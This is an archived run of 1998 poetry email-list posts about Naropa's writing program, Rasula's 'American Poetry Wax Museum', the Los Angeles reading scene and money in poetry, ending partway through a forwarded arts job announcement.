>requirement have to do with some form of buddhist practice. I took
what
>I hoped to be a theater class called "Mudra Space Awareness" and found
>it total quackery, a waste of my thousand dollars which I would have
>preferred to spend on an academic class on Buddhism, which would not
>count to fill the requirement, more about that if anyone is interested.
> Trungpa, no disrespect intended, seems to me to have been a trickster
>who was taken too seriously.
>
>Two: Mark's statement that Naropa's writing program
>favors independence and self-study strikes me as correct. There is not
>a multi-pronged curriculum as there is at New College. I organized an
>independent study on Stein with Anne Waldman and three other students.
>And my thesis on Ashbery served as yet another ind. study. However,
>Naropa really offers no pre-20th century lit class outside of a new
>Blake class taught by Reed Bye and since I've been here, in three years
>worth of catalogs, all the major author class offered have been men:
>Pound, Blake, Duncan. I believe before I came a conglom "women poets"
>class was taught. I have felt a serious dearth of crit. reading here
>with fellow students--that I'm sure changes with each class. Naropa is
>workshop-focused with much exposure and much enthusiasm toward reading.
>Am I the only current Naropa student on this list?
>
>Three: In case I sound too critical. Naropa has its foibles but it's
>program is run by people truly crazy about poetry and informed and
>committed to the avant garde or alternative or wateva ya call
>it, and are supportive of passing on the tradition. The faculty rocks,
>and what does Anselm Hollo not know about that is interesting? Anne
>Waldman deserves all the hero-worship she gets. Besides which (I'm
>adding this today) what Patrick says is true, the pieces she read at
the
>Fox from Iovis 3 knocked me off my seat. Totally urgent and
>unsentimental.

>
>I hope I didn't just bare myself too much in public.
>

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457. **Henry Gould**
wrasslin with Rasula
Thu 16 Jul 1998

Since nobody wants to talk about money, here's another hot topic, Jed Rasula's AMERICAN POETRY WAX MUSEUM, which I have been unable to put down the past few days. I guess it was probably yakked up here a few years back?

What an amazing history lesson this book is, the way he engages "poetics" as a whole conflicted field of engagement. I'm not done with it yet, but the readings from Louise Bogan, Karl Shapiro, & a lot of others are great - and the "blistering indictment" of the changing/unchanging poetry establishment, all the distortions that have been written into the fading canons...

just some problems I'm starting to have with it, since I have to argue with everybody these days, or try to -

I wonder about the overall conceptual frame of it - I guess (wild ignorant guess) it's sort of a Foucauldian-anarchist frame of history - a sort of enormous suspicion of state-cultural "structures" - is this the criticism of sane paranoia? I mean he frames his absolutely necessary critique in the "wax museum" conceit - implying that culture, like a museum, is a subset of the nation-state, and it's the coercive, "carceral", institutional taming/homogenizing/hegemonizing reality that distorts the museum-goer's perception of the artworks encased therein -

I guess what troubles me is the paranoiac aspect of this kind of critical thinking: "things are never what they seem" is like the mirror-image of ("fascist") status-quo "things are only what they seem" establishment thinking. Since I haven't finished the book, I wonder if Rasula ever examines whether there's not a contradiction involved in the hindsight- historical packaging of this kind of study: ie. his metaphor of the wax museum could be applied to his own book (more like a diorama of civil wars). So that nothing is what it seems: the only purpose of the state is coercive-numbing mind control; the only purpose of the museum is to replicate that "control"; both artworks & museum-goers are puppets in that scenario; Robert Lowell is a puppet of the New Critics; Helen Vendler is a puppet of the same long-lasting establishment; the "lyric" in poetry is a mask for uncritical thinking; etc. I would argue that scary as it may seem

the democratic state does have a long and bloody real history and a legitimate purpose, and if this is the case, museums, universities, and individual artworks & poets and lyric poems might also have a legitimacy - not a perfect legitimacy by any stretch of the imagination - Rasula de-legitimizes them in all justice - but I wonder if the "controlling metaphor" doesn't in its own turn go too far.

My first response to the book is that it's absolutely necessary even if it can be faulted for its own semi-p.c. manuevering (ie. I got the sense that women poets were slightly criticized for developing their "own" networks, but black poets were above criticism for the same thing - it's called creative "secession". Correct me if I've misread this.)

This book is part of an opening-up of poetry culture by carefully going back over what's just barely visible & re-measuring things. I think that in future decades the saddest aspects of this history will be the numbing controls in place of "official" literature, and secondly the harshness of the name-calling and the tendentiousness of the various positionings. I also think Rasula actually over-emphasizes some of the political differences between poetic approaches; I mean, this is historically correct for the era he writes about but the issue of "open" vs. "received" forms vs. new forms is still in for some major new wrinkles. Rasula contrasts for example Duncan's open form as a reassertion of Keatsian romanticism with the establishment poetics of the 50s as a contrived and superficial formalism; but the strictly historical - I mean literary-historical meanings of some of these metaphysical and renaissance forms in my opinion has not been completely used-up simply because the 50s pseudo-modernists found them useful for promoting their fantasy world.

One of the never-forgettable lessons of this book is that writers come out of their own different histories and nothing is simple. That may seem so obvious now to most as to not constitute a lesson. But for a wasp boomer from the midwest born into the American language of his ancestors, who came to poetry with the sense that the work of writing was a sort of neutral ground of accomplishment, where the self met the community on the stage of achievement and the community met the self there, and there was an honest exchange because the poem on the page is sort of like a testament or a constitution, an accurate measure of work done, and so the obvious thing to do with it was to send it out to magazines in a disinterested way & let quality float to the top -

when you find out that there's another reality out there - that the publishing venues are designed to filter out quality based on 2 things: a particular editor's notion of what you've done, and second, a hidden buddy system or control system; and then you find that there are these "communities" of writers who share ideological/aesthetic visions & then feed them back to one another & push into the publishing venues as groups, and everyone on the poetics list from Don

Byrd on down laughs at the notion of "independent standards" of criticism and reading (this is not to single out Don Byrd for anything negative, just a memory of the indie- crit flap) -

well, you take all this into account & things are very complicated suddenly... so complicated that I think I'll just go back to my original idea: let it happen in the poem, & give them all the lie. The open form concept is marvelous: but the poem is also a toy.

- Henry Gould

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458. **David Baratier**

Re: new release

Thu 16 Jul 1998

Forgot to include address. New rat has a few bugs.

Pavement Saw Press / 7 James Street / Scotia, NY 12302

David Baratier / 345 E. Whittier St. / Columbus, OH 43206

& for selected other titles

SPD / 1341 Seventh Street / Berkeley, CA 94710 .[redacted]

---------- Some may be interested in our new title. Advance orders taken now.

Pavement Saw Press Chapbook Award Series
Perfect bound ISBN 1-886350-80-9 Price: $5.00

Right Livelihood was selected by Jim Daniels
as the 1997-98 winner of Pavement Saw Press Chapbook Award.

Right Livelihood is full of both a hard-earned reverence and a refreshing irreverence. David Brook’s is not afraid to poke fun at himself—one man trying to cope with life’s absurdities. Much of this work is funny, truly joyful. The poems are “expecting something to happen,” even on the gritty floor of a meatpacking plant. The wonder here is that something great often does happen. These poems celebrate our continuing urge to dream. As we discard our “golden visions” of youth, we must replace them with something. The poems of Right Livelihood replace those visions with a bemused acceptance— “all the gaudy world clearing my mind/ like an improbable plane gliding/ over a mountaintop.” These poems are full of the kind of laughter that hurt just a little bit—laughter that sinks in, and stays with you for a long time. --Jim Daniels

There is a strong consistent personal voice here, one that may have Eros in the stomach or specialize in detesting or renting out illusions. Music, laughter, and

insight course like clear water through these poems. --Karl Patten

Witty and elegant, unswervingly aware of life's absurdity, the poems in David Brooks' Right Livelihood drill steadily into the heart and make us ask for more. --Harry Humes

David Brooks was born and raised in central Pennsylvannia. He has worked in a meat packing plant, a hospital, a nursing home, has installed insulation, been a masseur, an advertising copywriter, and, for a brief period of time, a salesman. He lives in Hughesville, PA with his wife.

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run was awarded to the winner.

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459. Linda Russo
Re: vomit & politix & poetizing
Thu 16 Jul 1998

It's like this:

the oprah book club (turned up a notch
only "on-line" those "in-line" need supply
emails
handchosen by governor's

(guvner's -- you kno the thing on the engine that eeeps ya from goin too fast . . .)

don't want no one left behind
ain't spewing fumes
offending anyone's perfumes
no offensive mimeo smell no musty pages no staples attached
This ain't road kill either
behind IT'S DEMOCRATIC AFTERALL

-- payed 4 by the American peoples

a "Distinctly National Product" as Pound would say

unlike Oprah not supported by "private interests"
no corporate bookchain tie-dies (they're "linked"

See the guvernment really does care about the arts!!! when you care enough to send the very blest/blecht/bleeachhttt

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460. **toddbaron**
Re: LA Confidential
Thu 16 Jul 1998

[redacted] wrote:
>
> Bill Mohr's always been supportive and it was fun to see him when I was in
> San Diego most recently.
>
> But I understand the impulses behind Todd's original complaint. Scenes have
> their own unique dynamics and it seems like every city -- NYC and SF
> included -- have their fallow periods from time to time. I've given readings
> to audiences of 3 (at Hallwalls in Buffalo -- it was one of the best
> readings I've ever given) and Leslie Scalapino and I once gave a reading to
> an audience of 5 in SF (at USF to be exact). The largest audience I ever
> read to in LA came primarily to hear my reading mate, Jack Grapes. But I had
> a huge crowd once in Missoula. And likewise on Maui at a little used
> bookstore/cafe.
>
> Lee Hickman used to complain that he caught static from his local friends
> for publishing anyone outside LA in Boxcar, which only made him more
> determined when he moved on to Temblor. Some of the early SF langpo
> publications also had a decidedly "west of the Bay Bridge" bias that always
> made me (who'd started publishing earlier and had friends in far places like
> NY and Chicago) a little nervous.
>
> Time and mobility has a tendency to take care of much of this. Thanks to the
> internet Meikal And & I can be virtual neighbors, tho his woods and my own
> must be very different.
>
> Ron Silliman
> Chester County, PA

Ron is abolsutely right--my complaints were really meant to stir up dust--some of my best readings have been to less than 10--and ALWAYS it's those who listen anyone--in crowds=etc. THere are certainly poets in LA that participate--and my friendship with Lee taught me a lot about both those that do and those that don't--the really sad thing is that those that don't(here in LA) are often those that create a politically (sorry--that's NEVER the right word--"socially"?)

sorry state . Since LA has a relatively small community (again--maybe the wrong term) keeping away from readings--not going to them--not reading magazines that contain work outside of one's scope of "friends"/etc. sets up our city as a place where there is little DISCOURSE. DISCOURSE to me is what creates a poetics. And so--a sense outside of LA of what we have to offer--is limited. A sense inside too--makes it hard to work here. As I've published (along with Tosh in the 1980s) two magazines here--each time I have I've had responses about publishing "language" writers--writers otuside of LA/etc. When I and Noah De Lissovboy strated the Otis Art Institute "Writing the Margins" reading series--we were literally (the right word!) attacked for creating a schism in LA! Now, hey, we had writers from "up north" AND LA read here, poets from San Diegeo/etc. Many of ths great readings were so little attended that we were embarrased as hosts! Ill-attended by folks we expected would have been excited about such a new series. Consequently the school said --not again--. And we lost!

I hope this dicussion remains not simply one of "townships" --but it seem inherently important for those of us trying for a "public" persona and doing public work such as magazines and presses. Thank g-d for this internet, as Ron said, now at least I feel like LA is simply that place "outside"...

Todd Baron
(ReMap)

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461. **toddbaron**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Thu 16 Jul 1998

Douglas wrote:
>
> Tosh,
>
> I certainly was not trying to compare the two organizations.
> However, there is no question that Sun & Moon--with its bookstore,
> its salons and the drama reading series we co-sponsor with
> Bottoms Dream--has served as a kind of smaller literary center.
> I should add that our mailing list includes about 350 people, and
> fliers are sent our for each salon and postcards every month for
> the drama reading series (which is also sent to about 500 people
> by Bottom's Dream) so neither series of events represents "a small
> gathering friends and writers." As with Beyond Baroque, of course,
> we do not ever get the full audience. But they're invited; the

> public is also free to attend. Tosh, maybe you should attend.
>
> Douglas
>
> Tosh wrote:
> >
> > >Safdie Joseph wrote:
> > >>
> > >> Todd, Elizabeth -- it's been many years since I helped run the Wednes-
day
> > >> night poetry workshops at Beyond Baroque, but that was really the only
> > >> "scene" I ever knew, and still is, I suspect. Do you, though, know
> > >> Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if
> > >> there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe,
Jack
> > >> Grapes, Amy Gerstler, Dennis Phillips, Paul Vangelisti . . . . well,
> > >> those were only the people I knew and hung out with, but there were
> > >> others (Dennis Cooper, of course, before his move to New York) -- but
> > >> really -- I admit it can seem a bit provincial compared to the Bay Area
> > >> in terms of poetry, but that's the ONLY contest it loses, isn't it?
> > >
> > >I think my bitter mail got lost in the shuffle--but let me simply say
> > >that the poets you mentioned--and this outside of their own work as
> > >writers--have primarily been exclusive in terms of going to others
> > >readings--promoting others work outside of a "pop" and confessionalist
> > >sensibility. That years before when Barrett W. read to an audience of 8
> > >I was ashamed to be a poet in LA. THat same thing happened to Robert
> > >Duncan year ago--to Fanny Howe recently--etc. Few poets that are listed
> > >in your note suport the work of others besides friends. Yes, I am
> > >bitter--but my job as an editor and teacher is not simply to read and
> > >promote and publish the work of those I like--but to promote and publish
> > >a POETICS that is important. I have published poetry by those whom I
> > >don't think highly of--but whose work I believe deserves to be read! Of
> > >those you mentioned only Paul V. (with whom I started Littoral Books
> > >years ago--along with D, Phillips and Martha Ronk and Lee Hickman)
even
> > >show up at the readings that Sun and Moon give--while Douglas M. and
> > >others DO show up at B. B. occasionally! Damn! No compensations be-
sides
> > >the sun! No--a scene is unimportant--a dialectic is of utmost
> > >importance!
> > >

> > >Todd Baron
> > >(ReMap)
> >
> > I would respectfully disagree about the above. There is a big difference
> > between a Sun & Moon gathering and a Beyond Baroque reading. For instince
> > Beyond Baroque is really open to the general public, and Sun & Moon is
> > mostly a small gathering of friends and writers. At Beyond Baroque we
> > produced (and they still do of course) a calendar that goes out to a
> > mailing list that we collected at the door and elsewhere. As far as I
> > know, Sun & Moon doesn't really advertise, except for individuals calling
> > other individuals, etc. Also I don't normally see people going to Beyond
> > Baroque unless they know the writers, etc. So speaking for myself and
> > perhaps others, they didn't know or wasn't aware that things were happening
> > at sun & moon.

One last thing: an important thing: Not only for the few of us in LA--

Leland Hickman did the most outstanding job anyone has every done in this--or any other--city. He published two magazines that were of the utmost importance to us all. Having all "schools" of writing there--having Ron S. next to a piece by Amy Gerstler/etc. and filling the damn void with poetry was indeed a magic job. His politics were outsdtanding and obvious. He, too, rambled on about the idiocy of the city he called "home"--where 10 poets refuse to speak to 3 others/etc. He was attacked/etc. But it all came down to what was good for the art--what kept it aflloat. It is in this spirit that I have angrily, bitterly, and happily--started this discussiong--which--at botton--really asks--what to do in this--or any other city--when poetry and poetics is at risk--when "groups" form that exclude other "groups"-when groups are thought to exist where there are none--etc. I'm not for rallying around the flag--but--a community discourse in obviously needed. LA is a great example of a city with resources and millions of people and vast geographies (no matter how far apart we are or how freakin' busy! I've know poets to drive 40 miles to eat at a "new" resturant--we can do the same for a reading!) and a problem with getting folks to pay attention to the valid work that is created here and outside of "here". LACMA has a reading series (the county art musuem) Athe Balconey Cafe reading series exists (Littoral Books), Skylights Books has a reading series, Beyond Barqoue exists, Sun and Moon has their Salons, and the Hammer museum has had some amazing readers of late. THese venues need to start a discourse--start to talk to one another--as poets in this town need to do--not just in "gatherings of friends and dinners"--but to gather to see if there is a solution to the late-20th Century demise of Poetry--funding undercut--publications dropping like flies, etc. Hell--in LA our

own newspaper refuses to publish review of "local" or "new" poetries--instead publishing an occasional poem by Carolyn Forche or the like as a way out of that commitment!

I am afraid of all the loss--as Lee said " get the work done" --this is all part of the work.

Todd Baron
(ReMap)
> > ----------

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462. Safdie Joseph
Re: wrasslin with money
Thu 16 Jul 1998

Henry, I was gonna talk more about money but I just got finished reading your 2,000 word post about it and now there's another one! You have to give some of us slowpokes a break now and then, pard!

What I was going to say is that I'm now halfway through _Frozen Desire_, the book I quoted from a few days back and it's still just wonderful. With these tid-bits . . .

* The difference between the _Iliad_ and the _Odyssey_ is the invention of money -- if there had been any in the _Iliad_, Achilles could have been bought off. "The issue is not resolved through money. It is not resolved at all, except by death. For money cannot coexist with an epic picture of the world." ("Longinus admired the _Iliad_ beyond all expressions of the human spirit but called the _Odyssey_ a 'comedy of domestic manners.')

* Herodotus lived in what is now Bodrum in southern Turkey, where "the first things that have survived that we can call coins were struck late in the seventh century B. C. . . . Embedded in the first book of the _Histories_ is an immense monetary anthropology."

* Something I had known, but forgotten -- Aristotle's hostility to money as capital in _The Politics_: "It is the rallying cry and point of honour of all those who dislike or distrust capitalism." Pound couldn't find much in Aristotle's _Nicomachean Ethics_, as I recall, but Aristotle would have liked the usury cantos . . . a lot!

And finally . . .

"Imagine a landscape: a meadow sloping steeply down to a stream, a mill with a watersplash, a locked chapel, a stand of oaks. You will see in this landscape values both economic, in its actual and potential crops of fruits, grain, timber and

money, and aesthetic, in its resemblance to a painting or a touristic brochure or a literary fantasy of rusticity. What you will not feel is the medieval sense of the place's uniqueness. For to the Middle Ages, the valley I am talking about had no exchange equivalent, was inextricably bound up with its lord and tenants, could be improved or ruined but not sold and bought, for it existed in a sort of spiritual mortmain, still, inalienable, come to rest. . . It was the final and perfect embodiment of property as the earthly counterpart and sample of God's realm in heaven, eternal . . . at least until a Mirabeau or Napoleon Bonaparte comes along."

He then goes on to say exactly how the inception of a money economy changes this land and what happens to it: it's pretty fascinating. I'm not trying to suggest that we can somehow exist without money today (unfortunately!), only that we realize the myriad ways it infests our perceptions, actions, and choices -- both of how we lead our lives and how the next line should break . . .

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463. **tracy s. ruggles**
Re: Poetix programs
Thu 16 Jul 1998

Well, I guess I'll post, too, since I'm also a graduate of Naropa. I certainly appreciate your honesty, Mark. (Do you remember me? I remember you, though we never really talked.)

I wish I had known about your independent studies on the language poets and the objectivists. I would have participated. I, too, think it was surprising that no formal class on Stein was offered. I have since had an intense love affair with her writings.

The spiritual side of Naropa was half the reason I attended and the amount of spiritual work I did there was invaluable. I personally found the Mudra Space Awareness class to be helpful especially in relation to writing for a printed page. The concepts and experiences there carried through for me.

But, back to Todd's original question about how a POETICS school has effected my writing... the lack of language-centered study and the almost fanatical devotion to beat poets and their descendents turned me towards a rejection of that 'style' so to speak. I would second Mark's assessment of the teachers there and add that I really connected with Bobbie's southern 'charm', and that her performance prose classes did more for my development as a poet than anything else there.

The fact that we were side by side with the Buddhist studies program and the transpersonal psychology department made for an interesting mix of ideas and

taste. I'd hang out with my poet friends at the Sundowner playing pool and drinking beer and playing old country songs on their jukebox, and in the same day I was having tea with the buddhist folks and giving all those hugs to the psyche people.

I regret that at the time I was probably a little to shy to get into any in-depth work with Anne (though I remember waltzing with her at that buddhist center on the tibetan new year). I think I would have gotten quite a lot out of it, but I was too busy being a loud poet and trying to get attention through quirky sex poems and long emotional ventings. I've certainly grown up a bit since then (not to say what I did was childish!), and the so-called 'lineage' (if there is one) that Naropa passed down is still in my work, but I've continued my studies both in poetry and spirit.

Ah, so there's my 2 1/2 cents.

--trace--

P.S. Those at Naropa, say hi for me and tell 'em I still exist and am dying for kindred spirits out here in Portland, OR!

On Thursday, July 16, 1998 9:22:40 AM, Mark DuCharme wrote:

> *Rachel,*
>
> *Thanks for your post. I didn't know about the added contemplative requirement, & this strikes me as useless.*
>
> *When I was a student @ Naropa I co-organized two independent studies w/ other students & faculty, one on the Language Poets, the other on the Objectivists.*
>
> *The lit curriculum is, or can be, a real weak point in the program-- hit or miss, as I was trying to convey, based on faculty interest. I think it's a scandal that figures like Stein, Niedecker, Woolfe, etc., haven't rated a major author course. Interest in non-Beat contemporary poetries/poetics among the writing community is shockingly low.*
>
> *That said-- Anselm is a natural treasure, Jack a national wonder, & Anne continues to be a model of energy & endurance.*
>
> *Is it baring oneself in public too much to speak the truth? For the sake of all concerned, for the sake of the work, I hope otherwise.*
>
> *--Mark*
>
> *Rachel Levitsky wrote:*

I'd meant to send this a few days ago but it accidentally went to ToddBaron.

Mark and Todd et al,

One: a correction: since Mark graduated there is a 3 credit "contemplative" requirement, which I think, more than make Naropa vaguely "spiritual" makes it directly parochial, a feeling I have had all along here. All the contemplative courses which fill the requirement have to do with some form of buddhist practice. I took what
I hoped to be a theater class called "Mudra Space Awareness" and found it total quackery, a waste of my thousand dollars which I would have preferred to spend on an academic class on Buddhism, which would not count to fill the requirement, more about that if anyone is interested. Trungpa, no disrespect intended, seems to me to have been a trickster who was taken too seriously.

Two: Mark's statement that Naropa's writing program favors independence and self-study strikes me as correct. There is not a multi-pronged curriculum as there is at New College. I organized an independent study on Stein with Anne Waldman and three other students. And my thesis on Ashbery served as yet another ind. study. However, Naropa really offers no pre-20th century lit class outside of a new Blake class taught by Reed Bye and since I've been here, in three years worth of catalogs, all the major author class offered have been men: Pound, Blake, Duncan. I believe before I came a conglom "women poets" class was taught. I have felt a serious dearth of crit. reading here with fellow students--that I'm sure changes with each class. Naropa is workshop-focused with much exposure and much enthusiasm toward reading. Am I the only current Naropa student on this list?

Three: In case I sound too critical. Naropa has its foibles but it's program is run by people truly crazy about poetry and informed and committed to the avant garde or alternative or wateva ya call it, and are supportive of passing on the tradition. The faculty rocks, and what does Anselm Hollo not know about that is interesting? Anne Waldman deserves all the hero-worship she gets. Besides which (I'm adding this today) what Patrick says is true, the pieces she read at the
Fox from Iovis 3 knocked me off my seat. Totally urgent and unsentimental.

I hope I didn't just bare myself too much in public.

> *Get Your Private, Free Email at http://www.hotmail.com*

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464. **Tosh**

Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth

Thu 16 Jul 1998

> *Tosh,*
>
> *I certainly was not trying to compare the two organizations. However, there is no question that Sun & Moon--with its bookstore, its salons and the drama reading series we co-sponsor with Bottoms Dream--has served as a kind of smaller literary center. I should add that our mailing list includes about 350 people, and fliers are sent our for each salon and postcards every month for the drama reading series (which is also sent to about 500 people by Bottom's Dream) so neither series of events represents "a small gathering friends and writers." As with Beyond Baroque, of course, we do not ever get the full audience. But they're invited; the public is also free to attend. Tosh, maybe you should attend.*
>
> *Douglas*

I have attended some wonderful events at Sun & Moon. I should go to more events. Time, and... time is against me. Also, I hope no one see's my privous post as a negitive commentary on Sun & Moon. As a new publisher (yours truly) Douglas is truly one of my heroes. I was commenting strictly on Todd's viewpoints on L.A. readings, and various schools of poetry. If I sounded harse in regards to other organizations, I am sorry. I didn't mean that whatsoever. The truth is we need a healthly Sun & Moon as well as a healthy Beyond Baroque. It is not only a local thing, but Beyond Baroque as well as Sun & Moon has supported artists from different cities and nations. Many people see these organizations as being only L.A., but I see these organizations more as an international as well as a local outlet for writing, etc. Besides it is not really an aesthetic problem but a financial problem. And that is affecting culture in general. For the work Beyond Baroque & Sun & Moon has done, it should be RICH RICH!! And that goes for other art organizations!

Tosh Berman
TamTam Books

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465. Wendy Battin
Re: plasma & other hotstuff
Thu 16 Jul 1998

As an aside, and I say this in all friendship.
as an all to whom some friend might turn,
I'm not particularly shy of M. Watten
despite he malaprop my name most antic.

Some chop shops sell metal, some sell iron.
Damnded if I'll indulge a why where how might happen.
It's foolish to be lonely on this earth
and that compounds it. Trap door. That and the spring
are best, and the lever, as long as we have weight
to drop there.

> *Being a bit dismayed by the reaction and/or lack thereof to my original posting spurred by my reading of Watten's poem, I appreciate you taking issue of whatever sort . . . As an aside, I'm not particularly pleased with the references section tagged onto the end of the book. After the disclaimer up front, the references (laid out much like a "proper" section of the poem, the heroic couplet driving it all home) would seem to attach a sort of historical valence to the preceeding text which it had shyed away from. But, then I came across this again, perhaps telling of the totalizing trope in Watten in general, from "Plasma";*
> *"But there is another level of complexity to ready-mades. Which gets us home if you talk about poetry. You can say what happens and have it be a part of that."*
>
> *Patrick F. Durgin*

Wendy Battin
[redacted]
http://www.geocities.com/SoHo/Lofts/5471/ashland.html

I envy paranoids; they actually feel people are paying
attention to them. --Susan Sontag

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466. louis stroffolino
Re: wrasslin with Rasula (what about a. watts?)
Fri 17 Jul 1998

I read "wax museum" several years ago, and though i find it a great read (and have lot of notes on it lying around somewhere just waiting for more free time to....) i guess the big memory --or the most recurrent one--is the

superficial organizing structure of a kind of manichean dualism: berryman and lowell--bad suns of pound-- vs. duncan and olson good (or less "museumed" because less "museumable" presumably); also the characterization of bogan as THE woman..... ------ A RELATED (or relatable) topic I'd like to start: and i heard one of those alan (i think not allen) watts lecture tapes on WFMU today and realize how he often gets me and how I haven't read him in years.... read him before keroauc (and read "dharma bums" not knowing he was a character in it. tempted to go back and try to find the passages) anyway, when i was a philosophy major as undergrad, i was very into THE BOOK (on the taboo against knowing who you are or something) and THE WISDOM OF INSECURITY. My Philosophy teachers of course said "well, he isn't really philosophy." Did that have something to do with my switching to English major? so, any "defenders" or "detractors" of Watts out there? (this is not an issue of "but he's not original; just a popularizer of other ideas, etc." but more of an issue of his particular style (as writer and/or performer) and the way it relates to what is more "properly" called poetry. Is he in the wax museum too?

chris

On Thu, 16 Jul 1998, Henry Gould wrote:

> *Since nobody wants to talk about money, here's another hot topic, Jed Rasula's AMERICAN POETRY WAX MUSEUM, which I have been unable to put down*
> *the past few days. I guess it was probably yakked up here a few years back?*
>
> *What an amazing history lesson this book is, the way he engages "poetics" as a whole conflicted field of engagement. I'm not done with it yet, but the readings from Louise Bogan, Karl Shapiro, & a lot of others are great - and the "blistering indictment" of the changing/unchanging poetry establishment, all the distortions that have been written into the fading canons...*
>
> *just some problems I'm starting to have with it, since I have to argue with everybody these days, or try to -*
>
> *I wonder about the overall conceptual frame of it - I guess (wild ignorant guess) it's sort of a Foucauldian-anarchist frame of history - a sort of enormous suspicion of state-cultural "structures" - is this the criticism of sane paranoia? I mean he frames his absolutely necessary critique in the "wax museum" conceit - implying that culture, like a museum, is a subset of the nation-state, and it's the coercive, "carceral", institutional taming/homogenizing/hegemonizing reality that distorts the museum-goer's perception of the artworks encased therein -*

I guess what troubles me is the paranoiac aspect of this kind of critical thinking: "things are never what they seem" is like the mirror-image of ("fascist") status-quo "things are only what they seem" establishment thinking. Since I haven't finished the book, I wonder if Rasula ever examines whether there's not a contradiction involved in the hindsight-historical packaging of this kind of study: ie. his metaphor of the wax museum could be applied to his own book (more like a diorama of civil wars). So that nothing is what it seems: the only purpose of the state is coercive-numbing mind control; the only purpose of the museum is to replicate that "control"; both artworks & museum-goers are puppets in that scenario; Robert Lowell is a puppet of the New Critics; Helen Vendler is a puppet of the same long-lasting establishment; the "lyric" in poetry is a mask for uncritical thinking; etc. I would argue that scary as it may seem the democratic state does have a long and bloody real history and a legitimate purpose, and if this is the case, museums, universities, and individual artworks & poets and lyric poems might also have a legitimacy - not a perfect legitimacy by any stretch of the imagination - Rasula de-legitimizes them in all justice - but I wonder if the "controlling metaphor" doesn't in its own turn go too far.

My first response to the book is that it's absolutely necessary even if it can be faulted for its own semi-p.c. manuevering (ie. I got the sense that women poets were slightly criticized for developing their "own" networks, but black poets were above criticism for the same thing - it's called creative "secession". Correct me if I've misread this.)

This book is part of an opening-up of poetry culture by carefully going back over what's just barely visible & re-measuring things. I think that in future decades the saddest aspects of this history will be the numbing controls in place of "official" literature, and secondly the harshness of the name-calling and the tendentiousness of the various positionings. I also think Rasula actually over-emphasizes some of the political differences between poetic approaches; I mean, this is historically correct for the era he writes about but the issue of "open" vs. "received" forms vs. new forms is still in for some major new wrinkles. Rasula contrasts for example Duncan's open form as a reassertion of Keatsian romanticism with the establishment poetics of the 50s as a contrived and superficial formalism; but the strictly historical - I mean literary-historical meanings of some of these metaphysical and renaissance forms in my opinion has not been completely used-up simply because the 50s pseudo-modernists found them useful for promoting their fantasy world.

One of the never-forgettable lessons of this book is that writers come out of their own different histories and nothing is simple. That may seem so obvious now to most as to not constitute a lesson. But for a

> *wasp boomer from the midwest born into the American language of his ancestors, who came to poetry with the sense that the work of writing was a sort of neutral ground of accomplishment, where the self met the community on the stage of achievement and the community met the self there, and there was an honest exchange because the poem on the page is sort of like a testament or a constitution, an accurate measure of work done, and so the obvious thing to do with it was to send it out to magazines in a disinterested way & let quality float to the top -*
>
> *when you find out that there's another reality out there - that the publishing venues are designed to filter out quality based on 2 things: a particular editor's notion of what you've done, and second, a hidden buddy system or control system; and then you find that there are these "communities" of writers who share ideological/aesthetic visions & then feed them back to one another & push into the publishing venues as groups, and everyone on the poetics list from Don Byrd on down laughs at the notion of "independent standards" of criticism and reading (this is not to single out Don Byrd for anything negative, just a memory of the indie-crit flap) -*
>
> *well, you take all this into account & things are very complicated suddenly... so complicated that I think I'll just go back to my original idea: let it happen in the poem, & give them all the lie. The open form concept is marvelous: but the poem is also a toy.*
>
> *- Henry Gould*

↑ Index

467. Catherine Daly
LA Job Announcements and re:readings
Fri 17 Jul 1998

This is a multi-part message in MIME format.

--part0_900651252_boundary

I have actually been pretty surprised with the turnouts at readings which snail or email calendars to me (so that I can put a copy on my fridge and a copy at work): Beyond Baroque, Sun & Moon, and Writers on Site are the big three as far as organizational skills/mailings go. I am really sorry I missed Fanny Howe at Midnight Special, as she is one of my favorites, and they do have an e-mail list for readings.

Complete listings of LA area readings are very helpful and much appreciated!

I missed a slew of readings recently. But really, these several-hours-in-a- car-to-and-fro slogs around smog city for readings are not pleasant.

Catherine Daly
[redacted]

--part0_900651252_boundary

air05.mail.aol.com (v45.18) with SMTP; Wed, 15 Jul 1998 14:33:01
-0400
by relay28.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id OAA16970;
Wed, 15 Jul 1998 14:31:46 -0400 (EDT)
by shim.LABridge.com (8.8.8/8.8.8) with SMTP id LAA02876;
Wed, 15 Jul 1998 11:27:31 -0700
with SMTP (Apple Internet Mail Server 1.1.1); Wed, 15 Jul 1998 10:58:39
-0700
(Stalker SMTP Server 1.6b7) with ESMTP id S.0002244329 for
<[redacted]>; Wed, 15 Jul 1998 10:58:40 -0700
by thecity.sfsu.edu (8.8.7/8.8.6) with SMTP id KAA19692;
Wed, 15 Jul 1998 10:58:12 -0700 (PDT)
From: "Lawrence Thoo" <[redacted]>
To: <[redacted]>, <[redacted]>
Subject: Fw: Job Announcements
Date: Wed, 15 Jul 1998 10:57:24 -0700

Please distribute.

-----Original Message-----
From: [redacted] <[redacted]>
To: Multiple recipients of list <[redacted]>
Date: Wednesday, July 15, 1998 7:40 AM
Subject: Job Announcements

>JOB ANNOUNCEMENTS
>
>July 15, 1998
>
>
>1. Director of Programs / Member Services
>
>Applications are now being accepted for the position of Director of
Programs /
>Member Services with a nationally recognized statewide arts service
>organization which serves the professional development needs of the arts
>community in California.
>
>JOB DESCRIPTION: The Director will be responsible for the oversight /

>management of CALAA's technical assistance support to the local arts age=
ncy
>field including coordination of Fundamentals / other skills building
>workshops, regional consultancies, Peer Advisory Network mentoring
program -
>orientation & training; email listserv / online / internet communication=
s
>management; newsletter production, Statewide District Network - meeting
>coordination and network management; Annual Convention logistical planni=
ng;
>information gathering & dissemination to the membership; member services=
;
and
>coordination of special projects including the annual Governor's Confere=
nce
on
>the Arts. Works closely with CAC staff. Small office. Reports directl=
y
to
>President.
>
>EXPERIENCE: Minimum three years experience in Local Arts Agency man-
agem=
ent
>required plus general nonprofit arts organization experience. The
successful
>candidate should have direct experience in, and familiarity with, techni=
cal
>assistance provision, including Board of Director development, marketing=
,
